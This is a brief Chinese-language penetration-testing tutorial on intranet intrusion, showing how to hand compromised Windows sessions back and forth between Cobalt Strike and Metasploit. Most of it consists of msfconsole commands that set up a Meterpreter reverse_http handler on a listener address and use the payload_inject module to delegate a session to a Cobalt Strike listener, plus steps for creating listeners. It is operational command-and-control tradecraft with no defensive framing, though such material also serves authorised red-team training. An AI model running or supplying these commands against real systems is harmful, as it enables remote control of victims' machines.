[内网渗透]—CobaltStrike使用

CS与MSF联动

CS —> MSF

MSF

msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_http
msf > set lhost 192.168.142.129
msf > run

CS

1、CS上线后在新建个监听器

2、新建会话，选择刚刚新建的回话即可

此时在MSF就收到了CS返回的回话

MSF —> CS

把msf上的会话传递给cs。
简单来说，就是msf在拿到session之后，使用exploit/windows/local/payload_inject模块来指明接收者的 ip 和端口，然后把session委派出去。

CS

用之前上线时的监听器即可

MSF

ip和端口设置CS中监听的端口

msf > use exploit/windows/local/payload_inject
msf > set lhost 192.168.142.129
msf > set port 80
msf > set session
msf > run